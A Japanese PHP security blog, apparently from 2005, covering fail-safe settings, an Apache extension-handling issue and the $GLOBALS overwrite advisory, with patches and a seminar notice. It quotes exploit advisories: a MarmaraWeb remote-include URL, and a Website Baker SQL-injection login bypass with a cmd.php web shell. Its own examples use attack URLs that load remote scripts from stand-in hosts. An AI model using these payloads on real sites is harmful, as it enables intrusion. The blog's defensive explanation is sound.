Mambo, Coppermine, PHPBBがワームか何かの攻撃対象になっているそうです。
Mambo、PHPBBは日本でもよく利用されていると思います。
Coppermineはフォトギャラリーの様ですね。
攻撃に成功するとlistenと言うmalwareをインストールされるそうです。
ところでXMLRPCの不具合を狙った攻撃が行われている、とこのブログにも書いたかも知れませんがこの攻撃も続いています。もしXMLPRCを使っているPHPアプリで対策を取られていない方は直ぐにシステムをチェックした方が良いと思います。
# XMLRPC脆弱性への攻撃は私のサーバログにも残っています。
# 上記の3つのアプリケーションへの攻撃があるかは出先なの
# で確認していません。
プログラミング言語によらずセキュリティ対策には3つの基本があると思います。
1．外部からの入力は信用せず、形式、範囲が想定内か確認する
2．外部システムへ出力を行う場合は適切なエスケープ処理を行う
3．セキュリティ上の問題が発生しても被害を最小限に留める措置を行う
1．の外部からの入力は信用しない、にはユーザからの入力だけでなく他のサブシステムの入力も信用してはならないです。例えばqmailのコマンド郡は同じ作者が作っているにも関わらずお互いに信用していません。
2．の適切にエスケープ処理を行う、はシステムに合った最適なエスケープ処理を行う事が必要です。例えば、システム上のコマンドを実行する場合やSQL文を実行する場合、適切なエスケープ処理は処理系によって異なる場合があります。
3．はfail safe機能は使えるものは使う、という事です。プログラミング上でのセキュリティ対策ではないですが適切な例を思いつかなかったのでGCCのstack protector機能を例に説明します。GCCにはstack protectorと言う機能を追加する事ができます。この機能を追加すれば仮に1．の「外部入力を信用しない」を守った「つもり」でプログラム作っていても、万が一スタックオーバーフローがあった場合でも任意コードを実行される危険性を大幅に低減することが可能になります。
どうしてわざわざこんな事を書くかというと、fail safeとして有用な機能やコードに対して「どうして有用なのか解らない」と思われてしまうケースがよくあるからです。Cプログラマでオーバーフローが発生したときにコード実行を防止してくれる機能がどうして有用なのか解らない、と考えられる方は少ないと思います。
# OSやGCCの基本機能として入れるか、入れないか、という部分では
# いろいろ議論の余地はあるとは思いますが…
使用する言語を問わず致命的な問題にならないよう対策が取れる場合は有用に活用するべき、と私は考えています。fail safeな機能や仕組みは軽視されがちですが、私は非常に重要だと考えています。普通はだれでも間違えたくて（バグを作りたくて、セキュリティホールを作りたくて、など適当に読み替えてください）間違える訳ではありません。それでも間違いは起きる物です。間違いは起きるのは当たり前、を前提とするとfail safe機能の重要性は理解してもらえるのはないか、と考えています。
このブログでセキュリティ上の対策などを断片的に書く事がありますが、これらの基本は踏まえた上での対策として書いています。
ところで、PHPの場合、fail safe機能として利用できる機能には
– open_basedir設定
– allow_url_fopen設定
– カスタムエラーハンドラ登録
があります。safe_modeもありますがPHP6では削除候補なので入れていません。
# あまりよく考えていないので他にもあるかも。コメント歓迎します。
追記：
fail safe的な機能として利用できる機能：
-disable_function設定
-disable_classes設定
-max_execution_time設定
-max_input_time設定
-post_max_size設定
-memory_limit設定
-log_errors設定
-auto_prepent/append設定
-シャットダウン関数登録
-file_upload設定
-upload_max_filesize設定
-default_socket_timeout設定
-DB接続の永続的接続無効化
Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。
MarmaraWeb E-commerce Remote Command Exucetion
###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###———————————–
###MarmaraWeb E-commerce Remote Command Exucetion
###———————————–
###Site: http://www.marmaraweb.com/referanslar.php#eticaret
###
###Description:An E-commerce scirpt coded by MarmaraWeb.
### selling produces from internet like books,DVDs,roasted chickpeas etc..
###=))
###
###
###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
###
###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
###
###
###Solution : no I’m sorry =))
###
###Contact : B3g0k[at]hackermail[dot]com
###B3g0k [Kurdish Hacker]
###Freedom For Ocalan!!!
###Her B�j� Defacera Kurd!!!
###Greetz KHC,Serwebun Team,KHA,KCA
今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起（詳しくはこのブログエントリを参照）したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした…
このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。
自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。
mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。
http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
http://www.s9y.org/forums/viewtopic.php?p=17772
http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html
「Macromedia Flash Player SWF File Handling Arbitrary Code Execution」と言う不具合があったのでWindowsの方はFlashPlayer8にアップグレートしていたのですが、Linuxの方をアップグレードし忘れていました…
The vulnerability also affects libflashplayer.so on the Unix platform
という事で、Linuxの場合はFlashPlayer8は無いのでFlashPlayer 7.0.60以上でなければならないでそうす。
最近公開されているPHPアプリの攻撃手法には以前に見られない傾向があります。例えば、Wesite Bakerというアプリケーション（私はこのアプリが何なのかもしりません）ですが、SQLインジェクション脆弱性を使用しシステムに不正に侵入した後、丁寧に管理者であれば公開ディレクトリにファイルがアップロードできる仕様を利用して任意コマンド・スクリプトを実行する手順まで解説しています。
最近、親切（？）に脆弱性を攻撃する方法が解説されているケースが増えています。公開されているPHPのアプリケーションにはセキュリティ上問題が含まれている事が少なくありません。OSSであることは安全性の十分条件ではありません。公開されているアプリ、ツールを利用されている場合も細心の注意が必要です。
# これも使ったことがないですが、Zen-Cart(1.2.6d以下）も
# SQL Injection => リモートコマンド実行の脆弱性が公開され
# ています。利用されている方は必要な対処を早急に行うべきで
# す。
Website Baker <=2.6.0 SQL Injection -> Login bypass -A> remote code execution
software:
site: http://www.websitebaker.org/2/home/
description: “Website Baker 2, the Open Source Content Management System
designed to enable users to produce websites with ease.”if magic_quotes_gpc off you can bypass admin login check and grant access
to administrative area, poc:switch to:
http://[target]/[path_to_wb]/admin/
and login with:
user: ‘or isnull(1/0)/*
pass: [whatever]now you can go to “Media” menu and upload a cmd.php file with this code inside:
<?php echo “Hi Master!”;error_reporting(0);ini_set(“max_execution_time”,0);system($_GET[cmd]);?>
News.comの記事によると、平均的（？）な家庭のPCは
-56%はアンチウィルスソフトをインストールしていないか、1週間以内にシグニチャを更新していない。
-44%はファイアーウォールを正しく設定しない。
-38%はスパイウェア対策がとられていない。
とあります。これでも昨年に比べるとかなり改善されているそうです。
MSの悪意のあるプログラム駆除ツールにWinnyのウィルス（Antinny）も含まれるようになり20万件駆除したそうです。それでも6割りほどしかウィルスが発生させるトラフィックが低下しなかった、と言うことは4割程度のユーザは適切な時期にWindows Updateを実行していない事になります。再感染もあったり、Winnyを使うユーザ層が一般的なユーザを代表しているとは言えないので直接は比較できませんが、Antinnyに感染しているPCがホームPCのみと仮定すると日米ともにホームユーザの安全性対策は同じ程度なのかも知れません。
また困った問題が見つかりました…（問題と言うより仕様に気が付きました）
full-disclosureで「これおかしくない?」と報告されています。Wikiがフィッシング（Phishing）に利用される問題などがあったので影響を受けるシステムは少なくなっている、とは思いますが直ぐに攻撃のまだまだ影響を受けるシステムも多いと思います。
個人的にはLinux上のApache 2.0.54上のPHP 5.0.5/PHP 5.1.1が影響を受ける事を確認しました。
（Mac OSXでも同様の動作である、と聞きました）
http://137.113.100.11/manual/ja/mod/mod_mime.html
によると
ファイルは複数の拡張子を持つことができ、拡張子の順番は通常は関係ありません。例えば、ファイル welcome.html.fr がコンテントタイプは text/html に、言語はフランス語にマップされる場合、welcome.fr.html もまったく同じ情報にマップされます。 同じメタ情報にマップされる拡張子が複数あるときには、右側にあるものが使用されます。たとえば、”.gif” が MIME タイプ image/gif にマップされ、”.html” が MIMEタイプ text/html にマップされる場合は、ファイル welcome.gif.html は MIME タイプ “text/html”に関連付けられます。
複数の拡張子のあるファイルが MIME タイプとハンドラの両方に関連付けられているときは注意する必要があります。その場合、普通はリクエストがハンドラに関連付けられた モジュールによって扱われることになります。たとえば、拡張子 .imap が(mod_imap の) “imap-file” にマップされていて、 .html が MIME タイプ “text/html”にマップされているときは、ファイル world.imap.html は “imap-file” ハンドラと “text/html” MIMEタイプに関連付けられます。ファイルが処理されるときは “imap-file” ハンドラが使用されますので、そのファイルは mod_imapのイメージマップファイルとして扱われることになります。
つまり、test.php.bakがPHPスクリプトとして実行されるのは仕様のようです。
記憶が曖昧ですが古いApacheはこんな動作ではなかったと思ったのですが、調べてみると1.3からはずっと同じのようです。
拡張子による適用されるハンドラのチェックは普通に行われているので、この仕様には十分注意が必要ですね。
■概要
アップロードされたファイルなどがスクリプトとして実行できる。
■問題
Aapche 1.3系、2.0系のSAPIとして動作（Apacheモジュールとして動作）させている場合、httpd.confのAddTypeディレクティブで登録された拡張子のファイルのみPHPスクリプトとして実行されるべきです。最近(?)のPHPのApache SAPIは登録された拡張子以外のファイルをPHPスクリプトとして実行してしまう仕様のようです。
例えば、test.php.bak, test.php.rar などhttpd.confにAddTypeでPHPスクリプトとして登録されていないファイルの場合でも勝手にPHPスクリプトして実行されます。PHP以外の言語ハンドラでも同様です。
サンプルスクリプト
<?php echo “This file is executed as PHP script” ?>
このスクリプトをtest.php.bakとしてドキュメントルート以下のディレクトリに保存し、PHPがインストールされている場合、PHPスクリプトとして実行する事が可能です。
Apacheに登録されていない特殊な画像ファイル（psd等）、圧縮ファイル（rar等）、マイナーな文書形式（.jwt等）、etcを取り扱っているサイトは注意が必要です。
私の環境では.html, .txt, .gif, .png等Apacheに登録済みの拡張子はスクリプトとして実行されませんでした。
未検証ですがPHPのみでは無くCGIでもAddHandlerで登録されたハンドラでも同じだそうです。
/cgi-bin/test.cgi.bak
でも同じ様にスクリプトが実行されるそうです。
■影響
主にこの問題の影響を受けるアプリケーションはファイルをアップロード可能なシステムです。アップロードされたファイルがドキュメントルートに配置されている場合、簡単に任意スクリプトをローカルホスト上で実行される可能性があります。
例えば、PHPの
bad.php.bak
等のファイルアップロードされ、ブラウザから参照できるディレクトリに置いてあるとリモートから任意のスクリプトを実行される場合があります。
■対処策
対処策にはいくつかの方法があります。
1．ユーザからアップロードされたファイル等、信頼できないファイルをドキュメントルート以下に配置しない。（そもそも、アップロードされたデータ全てはドキュメントルート以下に配置するべきではありません）
2. Apacheで明示的にTypeが指定されていないファイルはアップロードさせない。（1の対処をするべきです。直ぐには不可能な場合のみ。非推奨）
3．アップロードされる可能性のある拡張子はhttp.confで別のTypeとして登録する（1の対処をするべきです。直ぐには不可能な場合のみ。非推奨）
備考：PHPに限らずイメージ識別関数はファイルのヘッダ部分のみチェックしています。PHPの場合、スクリプトタグ以外の部分単純にecho出力されるためイメージ形式識別関数で形式をチェックしていても普通にエラーの無いPHPスクリプトとして実行可能です。イメージ形式を識別しているからと言って安心することは出来ません。
■まとめ
ファイルアップロードをサポートしている場合、ファイルはドキュメントルート以下に配置しない（基本）を守らないと色々ありますね…
日付が変わってしまい、今日ですがまだプレゼンファイルを作成中です…
私は状況がよく分かっていないのですが、どうも席にあまりがでそうな状況だそうです。実験というのも変ですが、試しに明日「このブログエントリを見て来ました」と言われた方にこのブログでも宣伝させていただいている「改訂版PHPポケットリファレンス」を2名様にプレゼントします。私は2枠あるので各セミナーの終わりに「ブログを見ていらした方は？」とお聞きします。その際に手をあげてください。
次がセミナーの概要です。近くでお時間がある方は是非どうぞ。
「PHPセキュリティホール対策緊急セミナー福岡」
2005年10月31日、PHPの最悪とも言えるセキュリティホールが見
つかりました。福岡の多くの企業は、Webの運用には次のようなシ
ステムを多く使われています。
LAMP(Linux + Apache + MySQL + php)
LAPP(Linux + Apache + PostgreSQL + php)
そこで、今回この脆弱性の緊急対策を中心にphpの新しい話題のご紹
介を行います。このphpにたいする緊急パッチを作成した大垣さんな
どコアな方から直接詳細を聞く事が出来ます。またphpはJavaのよう
にフレームワークがまだ一般的ではなく作成者によってかなり作りが
違うのが現状です。そこで大規模なシステム開発に向けてのヒントを
共有しphp技術者の向上に役立てばと考えています。年月日：2005年12月2日(金)
時間：13:00から17:10
場所： 福岡市博多区博多駅東2-3-1 ＮＴＴ博多ビル東館1階
電話：092-473-4330
http://www.itplaza.net/itplaza/fukuoka/fukuoka.htm
受講費用：1,000円
人数：50名（先着順）
講師：
大垣靖男
内田 圭亮（エヌビーエス株式会社）
案浦浩二（株式会社アニーズ・クラフト）主催：ライジングサン株式会社
協力：
株式会社アニーズ・クラフト
日本オラクル株式会社 西部支社
NTT西日本（西日本電信電話株式会社）
エヌビーエス株式会社
ゼンド・ジャパン株式会社
日本PHPユーザ会
日本PostgreSQLユーザ会プログラム
13:00 受付
13:30～13:40 「あいさつ」
13:40～14:30 「php脆弱性とバージョンアップ」大垣さん
14:40～15:40 「php脆弱性をIPSで回避」エヌビーエス
15:50～16:30 「エンタープライズでphpを使う時のTips」大垣さん
16:40～17:10 「Zend Core for Oracle 日本語版」懇親会
18:00～20:00、費用は、2,500円程度?
住基カード用電子署名ライブラリ などを開発するオープンソースプロジェクトだそうです。
出来上がったら色々応用できますね。楽しみです。
マンション等の構造計算書を偽造した事件が大きな話題となっています。偽造した構造計算書を作成した設計事務所の設計士が「コストを安くしないと仕事をもらえないと思った」、建築業者が「施行主の指示の問題の建築事務所を利用した」等を発言していると聞きインターネットに接続されたシステムに類似点があることが気になりました。
本来Webサイトは「安全」である事に重点をおいて構築されなければならないですが現実はそうではありません。インターネットのシステムの場合、他人の生命に影響するようなシステムはほぼないこと、財産に大きく影響するシステムもネットバンキングやネット証券のようなごく一部のシステムしかないことから「安全」に対してそれほど大きな注意が払われていない事がよくあるようです。実際、比較的有名なサイトのセキュリティ管理が、ごく基本的なセキュリティ管理さえ行わず、非常に悪い状態にあった事例が多くあります。少し古い話になりますが、日本の著作権関連会社の代表者が、安全なWebサイトでなければサイトを公開できなければ中小の企業はWebサイトを公開できないではないか、といった旨の発言をしたという記事もありました。”組織として中小なんだからセキュリティ対策が出来ていなくても当然”と開き直ってよい物ではありません。建物が倒壊すると建築主以外にも被害が発生するように、インターネットシステムの安全性が確保できていないと他人を攻撃する踏台にされ他人に大きな迷惑をかける事になる場合もあります。
安全なシステムを構築するには、安全性を考慮しないシステム構築より多くの費用が必要となるのは明らかです。しかし、Webシステム開発の場面でも「コストを安くしないと仕事をもらえないと思った」や「発注者の指示で必要なセキュリティ対策が施せない（施さない）」ケースは非常に多いのではないかと感じます。システム構築は建物の建築とは違い安全性が十分であるか確認する仕組みが無いため、より状況が悪い事はこの業界の方でなくても分かると思います。
プロによって作られた物が「安全」であることが当り前ではないという類似点が構造計算書偽造事件とインターネットのシステムにあります。安全性に問題が発生する背景にも類似点があります。この状況を変えるには発注者と受注者、”両方”の意識を変えなければなりません。
# プロが作っている物でも驚くような仕様になっている場合
# があります。インターネットとは関係の無い古い例で
# すが、1985年以前に作られた銀行のキャッシュカードには
# 磁気テープにカードの暗証番号が保存されていた物がある
# そうです。
# インターネットのシステムでこれに類するような事例は多
# くあります…
”「捨てアド」取りを目的とした新手のフィッシング”としてIT Mediaで紹介されていましたが、新しい手口ではありません。CAPTCHA方式の人間認証（プログラムではなく人間であることを確認する事。このような用語は見た事がないので私製造語かも）を破る方法として同様の手口が即座に考案されています。私がこのブログで紹介した（「グラフィックテキストも安全ではない」）のは最近の事ですが随分前から知られている手口です。
IT Mediaの記事で目新しいのはわざわざ攻撃が発覚しやすい銀行サイトを利用している事ですね。しかし、私がスパマーだとしたら銀行サイトやその他まともはサイトをフィッシングには利用しないと思います。「私はスパマーだ。見つけてくれ」と言っているような物ですよね。
追記 2007/11/06: 現在のリリース版（4.4.7, 5.2.4）ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。
追記：PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。
よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。
Hardened-PHP Projectのセキュリティアドバイザリ
http://www.hardened-php.net/advisory_202005.79.html （以下アドバイザリ）
および
http://www.hardened-php.net/globals-problem （以下ホワイトペーパー）
について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
（ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています）
2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。
問題１ -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合：register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。（PHP 4.3.10以下、PHP 5.0.3以下）register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。（PHP 4.4.0以下、PHP 5.0.5以下）
この不具合の影響：例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。
備考：この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。
問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。
問題となるようなコードの例
<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。// ライブラリの初期化
include(LIBPATH . ‘init.php’);// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>
問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合：register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。
この問題の影響：既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。
備考：効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ（関数内）での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。
問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する
問題となるようなコードの例
<?php
// PEARライブラリを初期化
include ‘PEAR.php’;// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// （このようなコードがある事自体がセキュリティホールですが例として）
import_request_variables(‘gp’);// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全（なはず…）
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>
攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
（PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。）
この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。
追記：今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に（約5分で）見つけることが出来ました。
PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。
参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。
最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。
参考：
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam
過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp
追記：まとめ用のエントリも追加しました下記URLもご覧ください。
http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2
まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ（http://www.hardened-php.net/advisory_202005.79.html）の影響は受けません。この場で深くお詫びいたします。
いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。
影響を受ける環境1
影響を受ける環境2
アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。
http://www.hardened-php.net/globals-problem
影響を受ける環境3
環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。
Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。
# 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
# から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
# を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
# バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
# 失敗をしてしまいました。
典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。（hardened-phpの場合、このようなケースでも対応しているそうです）
対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ（クラス、ローカル、グローバル全て）への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。
function bad1() {
import_request_variables('g'); // GETの変数をローカルスコープに展開したい
// prefixを付けないと$GLOBALSなどを書き換えられる可能性がある
}
function bad2() {
forearch($_GET as $k=$v) $$k=$v;
// import_request_variables('g')と同じ
}
確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード（PHPで書いたスクリプト）の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。
このページ情報は不正確です。このページを参照された方は
まとめ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2
を参照して頂けるようお願いいたいたします。
PHPに深刻な脆弱性がある事が発表されました。今まで見つかったPHPの脆弱性の中でも「最悪」の脆弱性です。全てのPHPユーザは今すぐ対処を行う必要があります。
http://www.hardened-php.net/advisory_202005.79.html
http://www.hardened-php.net/advisory_192005.78.html
http://www.hardened-php.net/globals-problem
PHP4とPHP5で多少影響範囲が異なります。詳しくはオリジナルのアドバイザリと脆弱性の説明を読んでください。この脆弱性は非常に危険です。特にオープンソースのPHPアプリケーションを使用している場合、速やかに対処される事をお勧めします。
PEARを利用していない場合PEARファイルを削除するなどの対処も、一時的には、有効な対策になると思います。
# この対策は脆弱性をほんの少し隠すくらいの意味しかありません。
## ワームなどに利用される可能性が高いPEAR.phpにアクセスさせない為
# PHP本体をアップグレードしないと根本的な対策となりません。
PHP4はPHP4.4.1にアップグレードすれば大丈夫です。PHP4.4.xはソースの埋め込み定数参照の仕様が変更されているためプログラムが動作しなくなることがあります。（念のため）
WikiにPHP 4.3.11、PHP 5.0.4用とPHP 5.0.5用のパッチを載せました。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2F%24GLOBAL%CA%DD%B8%EE%A5%D1%A5%C3%A5%C1
PHP5.0.5はPHP4.4.0と同様に埋め込み定数参照の仕様が変更されています。PHP 4.3 -> PHP 4.4と同じ互換性問題がPHP 5.0.4 -> PHP 5.0.5で発生します。この為PHP 5.0.4とPHP 5.0.5の両方を用意しました。
パッチを見れば判りますがPHP 5.0.6となるCVSのPHP_5_0ブランチにはこの変更は組み込まれています。
脆弱性の説明から
Impact of GLOBALS overwrite
The impact of this kind of vulnerabilities is very high, because the problematic code seems to be secure unless you know about this behaviour of PHP and therefore very many applications are vulnerable to this problem. Additionally it is problematic, that the heart of PEAR (PEAR.php) also suffers from this vulnerability in PHP, although their code is written in a way that should be safe onder normal circumstances.
According to PHP usage statistics 71.03% of all servers, that announce a PHP4 version within their HTTP headers, are still using PHP <= 4.3.10. This actually means that most of the servers out there are running with old versions of PEAR where a application gets automatically vulnerable if it includes PEAR.php and is running with register_globals turned on. And this also means, that any PHP application that suffers from a local file include vulnerability can be easily turned into a remote code execution vulnerability by simply including the local copy of PEAR.php, that is usually in standard (or easyly guessable) paths. Additionally the PEAR directory is often trusted and therefore added as safe_mode_include_dir or to the open_basedir, so that it is even possible to include PEAR.php if SAFE_MODE or open_basedir is used to secure the system.
In the end it is simply unknown how many PHP applications suffer from these problems, because the problem is often overseen, widespread and unknown to a lot of security auditors. And with PEAR.php and vBulletin there are already two very big names on the list of affected applications.
要約すると
– この脆弱性は非常に危険
– さらに悪いことにはPEAR.phpもこの脆弱性の影響を受ける
– 世の中にはPHP 4.3.10以下のサーバが多くある
（注：4.3.10以下はさらに危険。4.3.11で$_GET/$_POST/$_COOKIEの脆弱性が対処されている）
– PEAR.phpのインクルードパスは信頼されている場合が多く、safe_mode, open_basedirによる保護が効かない
– 影響を付けるシステム、アプリケーションは数え切れないほど多い
PHP4ユーザは少なくとも今すぐPHP 4.3.11にアップグレードし、さらに$_FILESの脆弱性を埋めるパッチを適用するべきです。
PHP5ユーザはPHP 5.0.4またはPHP 5.0.5にアップグレードし脆弱性に対するパッチを適用するべきです。